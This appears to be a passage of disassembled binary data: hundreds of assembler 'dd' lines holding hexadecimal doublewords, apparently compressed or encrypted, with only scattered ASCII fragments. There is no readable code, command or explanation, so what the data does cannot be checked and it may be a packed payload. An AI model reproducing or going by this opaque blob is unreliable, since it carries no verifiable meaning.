		dd 8500B411h, 15A54F8Dh, 0B6097836h, 0A0EDAAD5h, 7052E59Ch
		dd 64170B2Ah, 0D0102611h, 0FCA84FF4h, 876FAF39h, 24850908h
		dd 0B8C19D68h, 0FB00118Fh, 4C28221Ch, 3898B0C6h, 0E05889F8h
		dd 0A514A01Ch, 738016EAh, 6100351Dh, 0A65D1C40h, 0C20B1068h
		dd 7C5420A8h, 311F8C88h, 3D812194h, 0A704F4E4h,	0AFF3D00Ch
		dd 0C237099Eh, 92DC5D21h, 0B75851E0h, 0A703CCB8h, 6A899650h
		dd 19A8C8CCh, 0A060BA68h, 24CA1C8Ch, 8DF4E39Fh,	9495F2Eh
		dd 10403044h, 8C99D2Eh,	0EC48C42Ch, 6005FC08h, 15776F28h
		dd 0A3221B46h, 6F20CD03h, 0BB1B5473h, 0E6F0EBA9h, 0A6B81888h
		dd 0B2AC781Eh, 60D7B135h, 0A39FD80Bh, 2494DCh, 0ED993E99h
		dd 35962515h, 0A048667Ch, 97131104h, 50D71011h,	12E9A520h
		dd 0A7B083E5h, 5081880h, 2FFC199Dh, 0FEEA9500h,	0F87FBC19h
		dd 0F2217816h, 90AE041h, 8805633Fh, 986E0425h, 0E1040458h
		dd 41F858E5h, 1020E832h, 5E0FDh, 3AC2BFF1h, 0F71936F9h
		dd 0D717E090h, 0D802C644h, 20B2529Bh, 261D2DCh,	82B0BB55h
		dd 295C1630h, 38504040h, 0CB8324A3h, 5ADE02ACh,	70E87F41h
		dd 8800DC77h, 0D4E20BFBh, 4A09B3AAh, 899844E9h,	25F8401Eh
		dd 81DA452h, 1F2E549Ch,	0DC597C28h, 4F758030h, 8C623527h
		dd 3AEBC044h, 888E4F6Dh, 8FA1D1D7h, 0B8DF7422h,	903A00F9h
		dd 0DAC581B0h, 0DE1C17B6h, 6310377h, 68D1D020h,	7CDC240Bh
		dd 0FC00A890h, 11D59DD1h, 5C516E9Fh, 10587C3Ah,	788CE9E8h
		dd 51871318h, 0DCA51001h, 4F495806h, 52A70A6h, 0F200FC9Eh
		dd 25B83646h, 48CD1ED6h, 3700F3A6h, 0BB5B3B16h,	39185AAFh
		dd 7638C003h, 0E470B2F6h, 74DCA14Ch, 27038829h,	0DD878336h
		dd 0D11F4FF0h, 160AAE02h, 863EF984h, 858804BCh,	60E8C468h
		dd 208C06Bh, 36E9E444h,	0C046E1B3h, 0CA3124A1h,	0FE10E08Ch
		dd 2A07C893h, 2BE4796Fh, 672EA762h, 75F06F22h, 6B4159h
		dd 71841AEFh, 0E86E8EF2h, 6158E604h, 0A0A09397h, 0A8C62011h
		dd 0C06DC8C8h, 58E4E103h, 0C064C0D1h, 8EE0FC0Fh, 10051FF4h
		dd 1EFB0254h, 846AB049h, 0D029E44Ah, 0ADC05002h, 0DA67540Ah
		dd 0D3340248h, 7C50E2B9h, 14AB8410h, 2E52C01h, 2033FBEBh
		dd 0C0401C28h, 41F44E36h, 8D8CBF44h, 4C8452Bh, 18F10190h
		dd 261E62F0h, 48385415h, 60E212A8h, 2D4F7B88h, 96923525h
		dd 73F100D4h, 61A3AD4Fh, 0E0CF335h, 78CB712Eh, 8846583Dh
		dd 0DC40773Ch, 1F40FA1Dh, 9087F0B0h, 0AB7A025Ah, 2CC5BC11h
		dd 6072B0A4h, 10E9E108h, 0C8421858h, 11480E5h, 379D2CE1h
		dd 27214F3Ch, 9F5022BDh, 826D04A0h, 2930FD10h, 1578106Fh
		dd 0D0CEE323h, 0EE9DA6Fh, 0C6D97459h, 0A8212069h, 0A4B2BF61h
		dd 46768CC1h, 39220BE3h, 0DA3430ADh, 0BFD72C38h, 0D8228588h
		dd 23883EC9h, 0FB8200ECh, 0D82E8D3Eh, 1180B201h, 75986105h
		dd 9450F6h, 177DA520h, 0A1BB358Fh, 0F1FEC96h, 1363D49h
		dd 9592AB14h, 0E8C83439h, 0F0643830h, 0A698A093h, 68F45911h
		dd 0D6495C03h, 0C804E03Bh, 0A1042A60h, 352078E6h, 0C5882087h
		dd 5D9EC038h, 0DE3D36D0h, 2880E45h, 2432C20Ch, 0A819218Ch
		dd 319600ADh, 0B09AEDCBh, 0F4C0211Eh, 0D60B149Eh, 827AB373h
		dd 1CC9F444h, 7B2464B0h, 1E42FCB6h, 811F04ABh, 11D19864h
		dd 0A442AD37h, 0E90CE04Fh, 8F9780F9h, 53282105h, 0A4126154h
		dd 0A139888h, 6BD467F2h, 0B7B3F040h, 9D6B2284h,	71D3AB0Bh
		dd 6410A1EBh, 608E5049h, 0DA02DDB6h, 62F636h, 0D0C43042h
		dd 6D606064h, 148308E0h, 93B5070Fh, 469F9440h, 44E859A9h
		dd 0AA63F4A4h, 0C0162E19h, 19E4B642h, 20AC5C11h, 29902DD0h
		dd 0A802C433h, 0FD59821h, 12C388Ah, 0A92D499Dh,	22BC2D2Fh
		dd 79B4B9DDh, 2E618A6h,	3E0BF19h, 6962498Ah, 609234C2h
		dd 0FC80545Ah, 0A9D2F610h, 0E323DC3Ah, 0C6B8AC03h, 40C84C38h
		dd 0BB30D538h, 9B3B2D69h, 0A0E21189h, 1C3735F4h, 18BE483Eh
		dd 6CCB410h, 4A695CB7h,	2A942A30h, 3BC2018Ch, 53060F8Bh
		dd 0D31BCCADh, 6E637901h, 1F16A517h, 41F58CD1h,	0EC02D029h
		dd 0C10F3958h, 0BD7DDC80h, 1F499D5Ch, 8DA21234h, 30ED2081h
		dd 1315C030h, 21520184h, 0FF6DFCh, 172D35DDh, 0F3C6FEFh
		dd 4DDE650Bh, 23B1DEA3h, 30A8A298h, 77036439h, 0AE93CB9h
		dd 0A2169934h, 90E01DC8h, 0A423206Ch, 8C8D7606h, 50993565h
		dd 94753CD3h, 47618060h, 62125B06h, 4162DB62h, 0E3E86B73h
		dd 5797A93h, 1B16787Eh,	0EFB8044Ah, 0C83016C0h,	90A738h
		dd 5B4D8E1Bh, 0C30A185Ch, 0EDB51C04h, 0A2816966h, 5D02C28h
		dd 0F2DC0477h, 0C8A19738h, 0CF4058C4h, 0A7A52C5Ah, 9C82A54h
		dd 9CB748D8h, 103FD411h, 16D42689h, 1CFC4276h, 3DE10E8h
		dd 7E0B61CEh, 6C5930E0h, 0B58E5019h, 1D35891Bh,	49B1F260h
		dd 99E160B0h, 29AD3042h, 31EF48E5h, 0BF178780h,	4402C072h
		dd 5D9B34C7h, 364C68AEh, 90DC49F1h, 3AC68BBDh, 463CC822h
		dd 849709D9h, 58859D17h, 9BC84379h, 7118BA51h, 0F5312794h
		dd 1D790C7h, 0DF65E123h, 309A1734h, 14829A8h, 1C8524B4h
		dd 4C9C1F15h, 182227B8h, 1192E708h, 88E8A707h, 0DF608038h
		dd 4DEF6292h, 0E7612209h, 0A1E3A6h, 0C95F8E21h,	0AE93537Fh
		dd 0A9001FEAh, 0F7B62D6h, 6CFD336h, 0A338FBB6h,	742AC949h
		dd 860B80E0h, 3799DD4h,	0A8F0B0FFh, 3D48E9h, 0CA7D5C3Eh
		dd 62DCBB86h, 8042E48h,	53BE3821h, 6C4184E2h, 2601FABBh
		dd 0A0340C49h, 87B4859h, 4138C824h, 8BA7330h, 38408A7Fh
		dd 6AF8DCE6h, 848BF005h, 0E4CF0F99h, 50C1C788h,	88D41620h
		dd 879A123Bh, 91D10556h, 643C8AE8h, 7A60E160h, 35212C4Fh
		dd 72F0C08Ah, 9C00894Fh, 0C0D2AF9h, 9CFE3215h, 7D5B4070h
		dd 5C283F3Ch, 1B45FC8Fh, 0CA10A441h, 0E9189862h, 49A6187Dh
		dd 18D7B420h, 4932951Fh, 3B2EC063h, 1B00D85Dh, 0DD0F6BD5h
		dd 0DCC200C9h, 0D0EFB16Dh, 0C0B8DBF5h, 5AA4BC54h, 0A7BF4109h
		dd 0C8D038DEh, 160A0636h, 0F8377D54h, 59AAB40Bh, 2B40C9E8h
		dd 0AB36B850h, 6A4BAC5h, 0B3902DCh, 0A60950B8h,	14BC7041h
		dd 2568A100h, 921CEA18h, 1123A70Ah, 0E2630136h,	0DA958692h
		dd 240BA3F4h, 0C2989718h, 0A8725E9Bh, 69613479h, 0F96CB591h
		dd 247C006Ch, 0A5687DA3h, 80009C37h, 88BAB503h,	910B5C5Dh
		dd 0A4D1113Ah, 0EBA25873h, 70488833h, 0FCD50E8Fh, 2A1606Dh
		dd 28952F69h, 541509E0h, 895C89C5h, 0E12C1B18h,	0CC57115Ch
		dd 0EC6084CAh, 25E062DEh, 0A0433085h, 0B7903140h, 639DBA88h
		dd 50F2D991h, 376D53B8h, 255CB05Dh, 0C4284515h,	0BE2161C0h
		dd 5C24F820h, 0A389F0D7h, 1F5B6410h, 13D8120Bh,	15580290h
		dd 0A90D00C2h, 0DA020FE3h, 432CFBE7h, 91EC81CDh, 246DBAF3h
		dd 0E2DBCBCh, 609CA0B8h, 3E45A4h, 0CBB46114h, 327D9A39h
		dd 0BB3D7B02h, 0E0671528h, 3DE76A2Ch, 0A2258F11h, 842A6844h
		dd 2B08C02Dh, 2DCCEADBh, 226CF084h, 0D77120A0h,	0D503935Dh
		dd 0F6BAA7D8h, 4C4FE89Ch, 0A00401CDh, 750AEA4h,	53E42CF9h
		dd 31A9A244h, 71CE05Eh,	0B6E3720Fh, 58CAC924h, 4E03F94Ch
		dd 0E8F01CB2h, 2B695225h, 0BF30C178h, 1DC0415h,	8420A3E9h
		dd 0E410AC13h, 7EDC4024h
		dd 3E003946h, 86202F6Ah, 0C63156D3h, 0ABD160BBh, 7A35900h
		dd 2480714Ah, 0B4915C17h, 4B940C7Ch, 0D964CE49h, 21322B88h
		dd 3F92E630h, 22C6A706h, 0DE5F003Ah, 527C6492h,	8F714A33h
		dd 2685B917h, 0EC23003Bh, 55510700h, 9D0B43h, 0CBA3A994h
		dd 0F5F1B2B5h, 31049099h, 0B89E10h, 0C08CC7E8h,	0B6A0F2FCh
		dd 5317341Bh, 2020950Ch, 3EBFF7BCh, 1889524Eh, 8841E332h
		dd 0D3A10748h, 0C204E075h, 94912F90h, 0E0507183h, 0EC4A0DDBh
		dd 6C845497h, 0A4182C44h, 370C2644h, 28DC61DBh,	0C2C0A2E5h
		dd 20C0111Ah, 9208E518h, 0C4D8A705h, 0DD5E4033h, 72C592h
		dd 1985503Eh, 6B3DF9Ah,	186CAA49h, 0D679DB75h, 7F38F03Ch
		dd 92FC0388h, 3D27F17Dh, 0BB28022h, 0DF5421A6h,	2F168025h
		dd 3AC323B0h, 0EF732B0Fh, 0A5E02DC0h, 525ECE2Fh, 9F30F437h
		dd 4D14D35Bh, 92BC446Eh, 1588F202h, 602A51E2h, 80E5096Ch
		dd 41256417h, 0E294C04Dh, 6C5A129Ch, 23B02F88h,	0E10A0932h
		dd 2EA15482h, 0A62C180Bh, 0C9DF1DE2h, 6AB85CD4h, 60526080h
		dd 25921BFEh, 0D2311802h, 5C2F0B80h, 0A24776D8h, 8317A2F2h
		dd 6AD0B70Fh, 3E85680h,	200287E1h, 8924C35Eh, 30D4B3FEh
		dd 56462114h, 0E86718C3h, 34581305h, 1B090E01h,	49FD10B9h
		dd 0A8B5FE4h, 7A9BAC0h,	0BD8103F8h, 6A8F20Dh, 6506726Fh
		dd 0CA840F61h, 5086C845h, 91C358C3h, 1D184489h,	7504088h
		dd 7EEB97C3h, 77852E83h, 1B100F9h, 0F1BCD8Dh, 85710675h
		dd 0E5077CCh, 21F343C2h, 95FF03E3h, 3600167Dh, 0C60CC483h
		dd 0C024FD85h, 4F684412h, 9605A318h, 1CE5B5FFh,	3AB83006h
		dd 2BD0F80Ch, 192CD88Bh, 490D12D3h, 834A1043h, 1D6E81BDh
		dd 8740642h, 41AB6620h,	945265EBh, 0A910B35Bh, 0A74EF9BFh
		dd 0EC01888h, 481D6995h, 0D6320DBCh, 6600015Fh,	7BF5EBBFh
		dd 8B35CF25h, 7D0DD5E6h, 0F405F83Ah, 0E91F5C63h, 430B0E10h
		dd 40E0180Dh, 0E5ACCF5Ah, 0F8809E3Dh, 0BEC35703h, 868D85C7h
		dd 35016048h, 0BCD78166h, 41F03565h, 0B86B9750h, 1C038C15h
		dd 99589AAh, 1864762Ch,	0C33DD85h, 39A05DE9h, 4D57B6B9h
		dd 405150C8h, 0D68DCB8Bh, 0B589090Dh, 2112A21h,	9A39F6Ch
		dd 5DF2F11Eh, 466E462Fh, 0C3591C51h, 0C44C8988h, 51414016h
		dd 39821C3h, 5EC2BA66h,	68224232h, 288B774Eh, 63683021h
		dd 0AE91981h, 0AB8D4500h, 0C47B21B7h, 0A1EA159Bh, 858A6E82h
		dd 0E9BF0139h, 842EBB6Bh, 12020824h, 58158444h,	1270308Ch
		dd 4211BBE9h, 2271BD01h, 699D2900h, 2DFBC51Eh, 0C9110405h
		dd 8411214h, 0B482A3Ch,	1891688Ch, 962758Dh, 2026AD12h
		dd 53501974h, 0D4B836C2h, 85BCA307h, 9D4F8425h,	0B328AFA8h
		dd 22585B2Bh, 20431710h, 63ACA7C4h, 214DD989h, 0BE12E801h
		dd 233481FBh, 0F02E184Bh, 17257280h, 8F5F47A6h,	0BD8E4214h
		dd 0D1CD71C9h, 0AC23B65Ah, 803015A2h, 27F9054h,	3CBADE7h
		dd 0B2482195h, 0BAD43F68h, 8C18EC28h, 5003F703h, 1157A52Ch
		dd 6A0C89AEh, 4D15E750h, 310609Dh, 802EC98Dh, 3526BD29h
		dd 28B2732Dh, 48551105h, 0C3725D44h, 1D6C892Ch,	24554570h
		dd 80B0CC3h, 850E3475h,	0ADE49CC0h, 6D953340h, 12D59131h
		dd 7AFE5005h, 0F8C17B8h, 0BED8E139h, 83AAC2E0h,	4AD223FEh
		dd 6741080Dh, 0CFF87620h, 5D650916h, 806E1818h,	5F922B2Dh
		dd 9058D14h, 5704650Eh,	0C35F4821h, 8C7C89C8h, 98471C44h
		dd 76FA0077h, 4F794EBFh, 0E9E81BA7h, 8A230E60h,	67B89Ch
		dd 8BCF8F02h, 52AC06FCh, 6E255730h, 2CDD5CB9h, 0C7020FA8h
		dd 5B09F9B1h, 30503B11h, 3401B2D5h, 8531016Ah, 0B7BC1299h
		dd 0E20D2D48h, 920E1E8Bh, 7430D7FAh, 0F0D0168Eh, 0A99D01ADh
		dd 8713F2CEh, 399420CBh, 950B6D03h, 0C8D28151h,	0D1EED4Ch
		dd 0FF685A59h, 0D06DC24Ch, 65BDA2E2h, 401B91BBh, 154C0DBCh
		dd 806288B5h, 60A99CB9h, 0B60E905h, 73C7BF2Dh, 2A1E641Fh
		dd 4C504A38h, 1A465Ch, 5FBBCB65h, 0C4D63B53h, 14336D88h
		dd 1E111096h, 0C51A5033h, 520E0F58h, 4D974059h,	0CE19106Eh
		dd 8A1230F1h, 0E7B22EEh, 0F88B6620h, 11926AE9h,	16E5093Dh
		dd 0D098311h, 1D88B94Bh, 0D21670C0h, 95D60277h,	532B0781h
		dd 0A715E380h, 0B6D02F30h, 0A1CE5031h, 0D15B1B50h, 0B90C1960h
		dd 50217D94h, 0B93C5E61h, 181CF9DDh, 0ECCA0048h, 3E2865B9h
		dd 6026744Ah, 4F03E8h, 0E2CA1E6Dh, 0DF8100FDh, 2E051D38h
		dd 0B800665Eh, 6A619FCEh, 35852910h, 2CA20A39h,	0FA8B3E22h
		dd 312D808Ch, 9118D9BDh, 81E94328h, 0E8DCD148h,	2C028C19h
		dd 7BDA482h, 5D986117h,	4554DB35h, 1CC8628Fh, 0BA60CBC0h
		dd 3BE604CAh, 8788467Bh, 8C47C4F1h, 0CC00AADDh,	0C9E4CD65h
		dd 0C10FCBh, 452290E1h,	72B2DFB6h, 8E8201Bh, 8D80A02Fh
		dd 3B8E0AB8h, 38E7A583h, 2E35F44h, 69772010h, 1600C32Fh
		dd 17E59733h, 1267866h,	1BB755ECh, 74199523h, 80905AADh
		dd 1651D993h, 8325EC18h, 0B0207D64h, 45665A31h,	1170B200h
		dd 998D13E0h, 169B3910h, 2AC62C01h, 0F1311A78h,	5F7534F9h
		dd 0FD285D90h, 524644F1h, 8BC35A1Ch, 531C5489h,	0C452422Ch
		dd 0CA019624h, 8E0F4BD8h, 3516FD76h, 175E6224h,	45C8E824h
		dd 7423008Fh, 27E64E02h, 0AC26148Bh, 3201BEF8h,	5909133Dh
		dd 0E928EC26h, 0F1F003Fh, 360899D5h, 0D2006195h, 0D1A3CC68h
		dd 0B604404h, 2AE0F27Dh, 0DAF1DA11h, 65046012h,	0D0F98B1Bh
		dd 3EEE2659h, 4C67E0E9h, 2037FBh, 0C64F92CFh, 945D4E1Bh
		dd 0E4639814h, 90F5229Fh, 26812008h, 1673BA3Fh,	0DB295DB4h
		dd 50952693h, 0CC839D3h, 8C981780h, 2169DC8h, 5A27BF65h
		dd 326C947Ch, 803DAA1h,	34FE50B7h, 0A4B98805h, 2863E77Ah
		dd 288068F0h, 54A75119h, 0FE59CC39h, 9D290A03h,	4F8F10F5h
		dd 11158D02h, 0BD230880h, 68811E79h, 56C04987h,	2C59C389h
		dd 81CE4B64h, 17C8BFCFh, 412F77C0h, 0D7E94870h,	0FC786C80h
		dd 4D0E88FDh, 0A0AB5018h, 5C0CF6DBh, 0BDA012F3h, 1ABEC22Bh
		dd 83D38B20h, 8741F7F8h, 46220534h, 7D01AD10h, 0FC54EFF8h
		dd 338809BBh, 4F7E26Dh,	0A8126788h, 0A93C4E7h, 8B90214h
		dd 80040446h, 58C099E2h, 0C05B243Bh, 8B7BF112h,	0D050FFD7h
		dd 94C1DB1h, 1E8E866Bh,	448B8726h, 5D0601Bh, 21763E14h
		dd 0CFA19494h, 0F126F518h, 9A35F181h, 0B58E78F4h, 1FC11A88h
		dd 51CC313Ah, 0FBD0D5Eh, 4C21118Bh, 0D4C0DE4Ah,	472AEFF4h
		dd 0DAF000D3h, 8D33D70Eh, 5B9616D9h, 0BD2A2FA8h, 5A4BB53Dh
		dd 0D8235E3Eh, 0C10BD8F9h, 31F9BD03h, 5895B794h, 41D69176h
		dd 2D34E18Dh, 8C1CB82Ah, 0AFB94601h, 0EC74D5C0h, 4886FDE1h
		dd 0BD7BF0Fh, 33048934h, 0E1BD5BC1h, 60CA212Ch,	55E901F6h
		dd 75CEB1DCh, 0C82A8C2Fh, 4B65AACAh, 0E8067125h, 0C955810Dh
		dd 1C63D0D7h, 0DBF0FECDh, 0A0291296h, 550B88D3h, 127AC900h
		dd 7C27C1DDh, 9062553h,	85315C18h, 66AD50FDh, 0D85C42BAh
		dd 0E651B227h, 0A09594CEh, 33192EB4h, 0B5295027h, 1A47014Dh
		dd 673B56E9h, 601C4445h, 0EEC647Ch, 654D2F93h, 88E937C5h
		dd 0B400D1E5h, 3BC974A0h, 2E80A944h, 693A92E6h,	3DE2D24Dh
		dd 44094750h, 18F5601Ah, 0D34D5CA8h, 2AB11309h,	0D9D05F85h
		dd 6647ED0Dh, 2AC548D1h, 2ECBA339h, 0BF8E30CBh,	0C53C0F4Eh
		dd 0B16BC76Fh, 4E66330Ah
		dd 378E0617h, 8DF83E75h, 7F25EE91h, 0AC0273A0h,	3816684Eh
		dd 3BC49571h, 4A215CD8h, 75205A10h, 68AE20E9h, 0F2A24648h
		dd 23B613Ch, 4176B611h,	7F4E7CCh, 3150CED1h, 82924668h
		dd 4E8F89C9h, 2873804Ah, 993BB034h, 1768B0h, 0A853FEDDh
		dd 0AEA1A27Eh, 0B6238A01h, 0F8451993h, 0DA91B999h, 0C35B8753h
		dd 1C5C8922h, 0C353431Ch, 0E8649EE4h, 0FFDACC8h, 8AFAF8A8h
		dd 0E6809689h, 7B5DDF47h, 970D101Eh, 815460DFh,	56204F6Ah
		dd 5DAA84h, 4EE81B58h, 6188268Ch, 0B2C25A48h, 19B51028h
		dd 0A0BC3248h, 41099503h, 488AF927h, 39F8238Fh,	40C82849h
		dd 0F5488A59h, 99FE2438h, 203EB6C8h, 66504C08h,	0CA5FCA24h
		dd 54DD131Ah, 77C0C500h, 0D541BA71h, 0C91EFB3Dh, 92679570h
		dd 0C1D27802h, 60CBB2B5h, 96237930h, 8FF992BBh,	0C01B885Eh
		dd 0E5B6DB48h, 736BC000h, 598D3133h, 411F9105h,	225FFC57h
		dd 0A8389008h, 0F4008C1Dh, 5CB9D5AFh, 769CDAEEh, 6F5A1E8h
		dd 7901F216h, 807608ACh, 83433EC1h, 0E94698D1h,	0FFF538F0h
		dd 699D0985h, 52530413h, 5ABA00FDh, 0C462C054h,	162A05AAh
		dd 34E982h, 23A5858Bh, 46764AB4h, 43340019h, 0F122C414h
		dd 0B03E5DE9h, 0B58DF902h, 6859F507h, 991815D9h, 3F00BC48h
		dd 8457485Dh, 8B0CA270h, 1FBE29D0h, 60DD624Bh, 0C30D717Ch
		dd 22759519h, 0F14FE97Ch, 26F3424Ah, 0B942F846h, 0EE930032h
		dd 0D87105C7h, 19E7AE1Dh, 6D9F4600h, 31F19121h,	2B6C497Eh
		dd 29FCDFBDh, 0F12FB007h, 7C8AC025h, 7E80AC8Bh,	0D9F2D947h
		dd 0A120B117h, 0BB600317h, 0C42FCE8Dh, 0C2FE9BCh, 74B99661h
		dd 4583129Ch, 0B5088850h, 0A797D500h, 0BE723893h, 4E554C23h
		dd 0CBD88B13h, 0C017C80Bh, 5EEBB7A5h, 11B25365h, 38B5E90h
		dd 43D0E589h, 6B0EB50h,	11FCEB20h, 535B1786h, 81A4485Fh
		dd 27BCB961h, 1902FF44h, 6465BD33h, 0FA8B055Ah,	45E59D29h
		dd 40606AE6h, 0FFF7BA73h, 0C13B9BB1h, 8F2005F5h, 5AC229FDh
		dd 206AF909h, 79C0B957h, 0C2C01814h, 50B5DAA8h,	48DC3156h
		dd 0DD38788Ah, 38784351h, 0B4080B28h, 2F681CDDh, 8C537505h
		dd 0CE02CAFBh, 62F268Dh, 96D40ADh, 0A03A941Eh, 0C03EC691h
		dd 0F5241C61h, 2942B10Ah, 27426516h, 0A8032237h, 98F4CEBAh
		dd 3DE28128h, 48B6F34h,	7E118F0Fh, 196E39E9h, 0A1804E21h
		dd 0DD5D7436h, 2916B5C5h, 0DD1F31D1h, 40C3812Ch, 5962B918h
		dd 9A705BEDh, 51D46D1h,	0F836BA66h, 4422B08Bh, 0B13E830h
		dd 0A6BCC4h, 42630E6Eh,	357FB21Ah, 54BD0B00h, 3B2DF8C1h
		dd 2B5F0B38h, 9DE0ED8Dh, 0B88B8C3Dh, 0C001CA83h, 0FBC78177h
		dd 1E50E92Ch, 1A880934h, 9BAE0044h, 2E313BC4h, 5915FC0Fh
		dd 2225983Dh, 0C98013A5h, 69558D2Bh, 72B842h, 0C803AFF2h
		dd 0E10DE2BAh, 0B00E8E95h, 0D35E1A5Fh, 9B02AE42h, 7E733187h
		dd 465C0AA6h, 8B010719h, 9E56F75Eh, 7130BB5Ah, 0BDCC3415h
		dd 582B9923h, 0C28F0BC6h, 2E170BC6h, 1B465E32h,	29CB6304h
		dd 0BB81C083h, 9D1389B3h, 0E8272895h, 0F60D3316h, 3B144AA9h
		dd 4162367h, 0BC550DAEh, 4E8D4186h, 0C4148826h,	25D0F298h
		dd 0C92F912Ch, 8C40ADEh, 0BC23425h, 33347A95h, 3117C3E9h
		dd 123465D9h, 5126A522h, 16AEE59h, 0D3101302h, 16E255E9h
		dd 1A484B2Dh, 4F0AC91Ah, 980ED07Dh, 59D72512h, 1D645467h
		dd 0FA94E760h, 0BFC8EE01h, 96E06E60h, 49E16870h, 0DDAC4618h
		dd 0DDE20747h, 0C56212E7h, 0B06BE607h, 0E90840B5h, 0D7044F4Bh
		dd 0F387EF8Ah, 0ABB9FA34h, 548EFB80h, 5E058858h, 4AF39ED6h
		dd 8D00ABB2h, 25B331Ah,	0F000DDFBh, 0F2BC1064h,	0CB610189h
		dd 0D822E77Ch, 0D984BF0Fh, 0E0085351h, 184FA61Dh, 0F8F780CEh
		dd 59DD2ED2h, 40293E7Dh, 191CD1DEh, 921FC0C3h, 0E0E21FFFh
		dd 8A9E43Ah, 54A21481h,	0A622BA01h, 346A3D44h, 1C09948Bh
		dd 908233A9h, 6012FCE7h, 8213A15Bh, 9B35188h, 0FF906884h
		dd 0F659DB8Ch, 2851A80h, 60B35E19h, 0B8526856h,	0C29CA823h
		dd 0FBC1046Ah, 64760710h, 1652B481h, 2DDA505Ah,	9B684780h
		dd 0EC4718ACh, 0F08B0498h, 4F171EA4h, 251E6168h, 1E253CF1h
		dd 5638500Eh, 6A537DC3h, 1418BE28h, 7575C085h, 986841C0h
		dd 0DB568764h, 73D0992Ah, 684C070Bh, 8025E7A4h,	228B2068h
		dd 5BFC5A9Dh, 450A044Ah, 56B8545Fh, 3C71315h, 43D8C5A5h
		dd 0B0639E0Ch, 0F166D26h, 4DF58580h, 6A8A692Eh,	3253B402h
		dd 9192B534h, 506D1788h, 97086845h, 892A5F7h, 35731A61h
		dd 610C0267h, 4D32752Eh, 0A1C0B466h, 0C464E6Ah,	3469155Dh
		dd 2B4C9846h, 44302C78h, 1C467Ch, 0E7BC936Bh, 2F750647h
		dd 7D9A0F45h, 0FA6D9FC8h, 315A85A0h, 1352125Dh,	56C82449h
		dd 0FF6414D3h, 0DB4A7935h, 0AEF5807Eh, 26C0DA3Ah, 8EC6216h
		dd 64051D9Dh, 2F122589h, 306DC804h, 6528F854h, 0D18B2C58h
		dd 17C10B3Fh, 21AD4F90h, 4F5F6982h, 0E8DAE912h,	3F1F9F00h
		dd 3E3CBD63h, 0D4DB0376h, 80E9FA21h, 3B0173D1h,	84BE4C57h
		dd 0BC87BDB4h, 4CF1016Fh, 0E5B98A48h, 0E93ADC68h, 587C3449h
		dd 32A5102Bh, 0BFDB3314h, 3A2DC20Eh, 818C0EBh, 1F008289h
		dd 0FD59EBF8h, 731603h,	73F0F40h, 58F640Bh, 0C43096A6h
		dd 6FEA4A04h, 0FDDEA0E4h, 0FBF2832Eh, 23841EE0h, 4A85BA88h
		dd 0D1A0F1E9h, 139548DEh, 0FA5988h, 0CF7711F1h,	0F7FE9983h
		dd 0F0756300h, 7305B94Ch, 0E9613925h, 244C3169h, 2BF99510h
		dd 0C93A076h, 0A48133C7h, 33DFF21h, 15B83383h, 0C3FA0C04h
		dd 55305C8Bh, 5D88E870h, 7CED2481h, 1483454Ah, 1910561Bh
		dd 0C892A32h, 604F5D60h, 500F53F5h, 0B0592688h,	719D2795h
		dd 68BA4A80h, 2162EA42h, 2E31724Ch, 0E915A1E4h,	26B90979h
		dd 827D3A51h, 45014D3Eh, 0BAE4A55Bh, 0A7419C00h, 0D8E52ADh
		dd 336301B5h, 0E5847EB2h, 0B8F348B9h, 55D70400h, 81640548h
		dd 0BB0D00F7h, 8685D465h, 0B63840BAh, 0E8ED5034h, 0ED0C5F67h
		dd 5868FB70h, 7556134Dh, 0D598040Ah, 0D474FC16h, 0A3BAE011h
		dd 2A402E07h, 9CBB602Dh, 5C71E7FBh, 2200E1FEh, 44EC076Ch
		dd 9C8B0A88h, 0F7B801B7h, 23038E0Fh, 0C5CB2EC2h, 43D217Eh
		dd 42294108h, 2117B01Fh, 0ACC0C220h, 304BA30h, 0F3D3198h
		dd 7E15F9B7h, 6E8D47E9h, 2E310345h, 85309B39h, 4500016Eh
		dd 70656378h, 6F0E6974h, 6E49206Eh, 6D72C266h, 30C8961h
		dd 0CB656C95h, 202C9873h, 7418CF63h, 0EAF8793Dh, 73F1FB68h
		dd 77F166F1h, 129F72F5h, 9F761F64h, 7D705E6Ch, 779A73BDh
		dd 1D2C3469h, 26D86C76h, 0D8676E1Ch, 2E734067h,	38B854EEh
		dd 79FA6BFAh, 0AF675FAh, 0F4040D6Fh, 7028C601h,	6E736080h
		dd 4C525443h, 0B2FF2B75h, 8F6978EBh, 7A642D46h,	7B6218BAh
		dd 8A37970h, 62CB696Ch,	6428DAFEh, 42813629h, 0A6DFA156h
		dd 0BC3DBF3Fh, 431EE625h, 6B630AE8h, 910F4E49h,	554FC264h
		dd 72503854h, 1DA26F7Fh, 3BD10F16h, 41F3900Fh, 0F3DA1B6h
		dd 0CA5B1EC8h, 188E8D50h, 73341E1Dh, 10144305h,	4A48012Dh
		dd 0B2AAD716h, 74128CEh, 0D1B07DBAh, 7CE7953Eh,	122D618Ah
		dd 8BAF1942h, 284F1307h, 0B0245516h, 84D77741h,	0ADD31E3h
		dd 0C4B32125h, 0BF216B67h, 216BB4C4h, 6BD2C4C7h, 0BBC4C321h
		dd 0C4B7216Bh, 0BB216BC3h, 462ACAC4h, 16CD100Ch, 31A2E917h
		dd 0C1385ADh, 0AD0DA895h
		dd 852C8421h, 0ED62EC11h, 58040B19h, 2C31A1F8h,	0C495CB51h
		dd 34523043h, 0D4C34028h, 2F7B3B5Ch, 44F2134Dh,	8855400Ch
		dd 13A89D8Bh, 58BC4CC3h, 11A36529h, 0B3885010h,	0BF085479h
		dd 9D589087h, 225CE4A1h, 53DC2AB7h, 0AFB40DEAh,	0CD056845h
		dd 430C5A26h, 90B721BBh, 64BFC8C3h, 2AAF32B3h, 62A9120Ah
		dd 790E11Ch, 0F5B0579h,	240CE8CBh, 0CB24406Ah, 0BBA519A5h
		dd 5401C2BDh, 0EBC1C11Ah, 0A19B6618h, 0FB2C0BE9h, 0B8FA602Eh
		dd 75A1F9DCh, 0C2610036h, 0E634C904h, 90601D41h, 0F6210814h
		dd 0C34F8C56h, 0F8E9C324h, 0B58B210Ch, 70818FADh, 18F069E6h
		dd 0E8160379h, 0C681C2D1h, 3B0C1E3Dh, 0F39B1B5h, 51E98637h
		dd 0CBD82063h, 0CF9B22h, 8C66506Fh, 0A0324C8h, 411BC048h
		dd 0DC5FFA2Ah, 858B42EBh, 860E4D44h, 0DEDB0A18h, 80B067A8h
		dd 2404D8E3h, 0A7CFC6C8h, 583889D7h, 33C5251Fh,	4C01ECA3h
		dd 0BCE0FEE2h, 534A1CC0h, 8966C447h, 2B09FCB6h,	95535B02h
